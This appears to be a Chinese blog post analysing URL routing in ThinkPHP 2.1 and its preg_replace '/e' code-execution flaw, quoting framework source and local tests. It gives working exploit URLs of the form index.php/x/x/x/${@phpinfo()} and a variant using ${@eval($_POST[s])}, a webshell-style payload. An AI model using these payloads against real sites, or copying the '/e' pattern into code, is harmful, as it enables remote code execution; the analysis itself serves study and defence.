thinkphp 2.1代码执行及路由分析

Dispatcher.class.php这个文件中是url路由,由于第一次正式看路由那块,所以就从头开始一行一行看把。

首先是dispatch函数
是37行到140行
这个函数是做映射用,把url映射到控制器对我们来说算是最重要的一块


        $urlMode  =  C('URL_MODEL');
        if($urlMode == URL_REWRITE ) {
            //当前项目地址
            $url    =   dirname(_PHP_FILE_);
            if($url == '/' || $url == '\\')
                $url    =   '';
            define('PHP_FILE',$url);
        }elseif($urlMode == URL_COMPAT){
            define('PHP_FILE',_PHP_FILE_.'?'.C('VAR_PATHINFO').'=');
        }else {
            //当前项目地址
            define('PHP_FILE',_PHP_FILE_);

一开始就调用了一个名叫C的函数

    function C($name=null, $value=null) {
    static $_config = array();
    // 无参数时获取所有
    if (empty($name))
        return $_config;
    // 优先执行设置获取或赋值
    if (is_string($name)) {
        if (!strpos($name, '.')) {
            $name = strtolower($name);
            if (is_null($value))
                return isset($_config[$name]) ? $_config[$name] : null;
            $_config[$name] = $value;
            return;
        }
        // 二维数组设置和获取支持
        $name = explode('.', $name);
        $name[0] = strtolower($name[0]);
        if (is_null($value))
            return isset($_config[$name[0]][$name[1]]) ? $_config[$name[0]][$name[1]] : null;
        $_config[$name[0]][$name[1]] = $value;
        return;
    }
    // 批量设置
    if (is_array($name))
        return $_config = array_merge($_config, array_change_key_case($name));
    return null; // 避免非法参数
}

可以看出这是一个对传入参数进行获取处理以及过滤的函数
而URL_MODEL是一个常量表示url的四种模式

     'URL_MODEL'      => 1,       // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
    // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE  模式); 3 (兼容模式)  默认为PATHINFO 模式,提供最好的用户体验和SEO支持

根据模式的不同url格式也有不同。这里到没有什么太多可说的。接下来是一长串对二级域名进行处理的,也先跳过。

         if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL
            $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
            $var  =  array();
            if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
                $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
                if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
                    // 禁止直接访问分组
                    exit;
                }
            }
            if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
                $var[C('VAR_MODULE')]  =   array_shift($paths);
            }
            $var[C('VAR_ACTION')]  =   array_shift($paths);
            // 解析剩余的URL参数
            $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
            $_GET   =  array_merge($var,$_GET);
        }

        // 获取分组 模块和操作名称
        if (C('APP_GROUP_LIST'))
        {
            define('GROUP_NAME', self::getGroup(C('VAR_GROUP')));
            // 加载分组配置文件
            if(is_file(CONFIG_PATH.GROUP_NAME.'/config.php'))
                C(include CONFIG_PATH.GROUP_NAME.'/config.php');
            // 加载分组函数文件
            if(is_file(COMMON_PATH.GROUP_NAME.'/function.php'))
                include COMMON_PATH.GROUP_NAME.'/function.php';
        }
        define('MODULE_NAME',self::getModule(C('VAR_MODULE')));
        define('ACTION_NAME',self::getAction(C('VAR_ACTION')));
        // URL常量
        // 当前页面地址
        //define('__SELF__',$_SERVER['PHP_SELF']);
        define('__SELF__',$_SERVER['REQUEST_URI']);
        define('__INFO__',$_SERVER['PATH_INFO']);
        // 当前项目地址
        define('__APP__',PHP_FILE);
        // 当前模块和分组地址
        $module = defined('P_MODULE_NAME')?P_MODULE_NAME:MODULE_NAME;
        if(defined('GROUP_NAME')) {
            $group   = C('URL_CASE_INSENSITIVE') ?strtolower(GROUP_NAME):GROUP_NAME;
            define('__GROUP__',(!empty($domainGroup) || GROUP_NAME == C('DEFAULT_GROUP') )?__APP__ : __APP__.'/'.$group);
            define('__URL__',!empty($domainModule)?__GROUP__.$depr : __GROUP__.$depr.$module);
        }else{
            define('__URL__',!empty($domainModule)?__APP__.'/' : __APP__.'/'.$module);
        }
        // 当前操作地址
        define('__ACTION__',__URL__.$depr.ACTION_NAME);
        //保证$_REQUEST正常取值
        $_REQUEST = array_merge($_POST,$_GET);
    }

路由控制这块重点应该是这串代码,所以重点看下。

if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
                $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';

这一段代码是对分组进行处理首先判断是否有分组,默认是否能从分组获取变量。$paths=explode($depr,trim($_SERVER['PATH_INFO'],'/'));$_SERVER['PATH_INFO']是返回用户查询语句查询的真实脚本后面的url真实路径

比如http://127.0.0.1/1/url.php/test/test/1.php?test=123这种格式会返回url.php后面的路径也就是/test/test/1.php。
而之前 $depr = C('URL_PATHINFO_DEPR'); C('URL_PATHINFO_DEPR')是PATHINFO模式下的分割符号。

所以这段代码本地测试了一下经过exlode处理后上面那段url的返回值是
Array ([0] => [1] => test [2] => test [3] => 1.php)
array_shift是去除数组的开头单元。那么$var最后的值是去除了[0]这单元的数组或者为空。

     $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

这一段就是thinkphp2.1命令执行的问题所在了,看看这段代码到底做了什么。
这里其实是因为preg_replace \e修饰符的问题,这个修饰符会把第二个参数当成php代码执行。简单结合上面的语句来说就是$var['\1']="\2";它把这个当成了一个回调函数,而1和2是implode($depr,$paths)执行结果来代替。
本地写语句测试了一下

    <?php
    $depr='/';
    $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
    $var=array();
    $res= preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e','$var[\'\\1\']="\\2";', implode($depr,$paths));
    print_r($var);
    ?>

当输入http://127.0.0.1/1/test/test/preg_replace.php/module/%7B@phpinfo()%7D
这种url时会打印出Array ( [module] => {@phpinfo()} )

很显然是把脚本后面的url路径直接动态赋值给数组。然而刚刚说的\e这个修饰符把这个参数当成了php代码执行。而且"\2"这里还是用的双引号,双引号中php的特殊字符是可以被解析的。这就导致了任意代码执行。

当输入http://127.0.0.1/1/test/test/preg_replace.php/1/${@phpinfo()}时就会执行phpinfo()

然后我本地做了一个测试

    <?php
    $a=array(0=>"${@phpinfo()};",1=>'b',2=>'c');
    print_r($a);


?>

这样写phpinfo()是可以执行成功的。然后把中间的代码改成了
$a=array(0=>"${@eval($_POST[s])};",1=>'b',2=>'c')。
仔细想想其实因为数组赋值的问题,你用$标识一个变量之后,他是把变量的值赋给0所以就会导致执行。

而这个漏洞的利用格式为什么必须是index.php/xxx/xxx/xxx/${@phpinfo()}
是因为这里还是在这个文件,214到224行

     foreach ($routes as $key=>$route){
                if(0 === stripos($regx.$depr,$route[0].$depr)) {
                    // 简单路由定义:array('路由定义','分组/模块/操作名', '路由对应变量','额外参数'),
                    $var  =  self::parseUrl($route[1]);
                    //  获取当前路由参数对应的变量
                    $paths = explode($depr,trim(str_ireplace($route[0].$depr,$depr,$regx),$depr));
                    $vars    =   explode(',',$route[2]);
                    for($i=0;$i<count($vars);$i++)
                        $var[$vars[$i]]     =   array_shift($paths);
                    // 解析剩余的URL参数
                    $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));

thinkphp路由的格式是分组/模块/操作名/参数。而参数是被带入执行的。以这种格式传入的会执行命令。

posted @ 2017-09-28 16:02  wangshu  阅读(973)  评论(0编辑  收藏  举报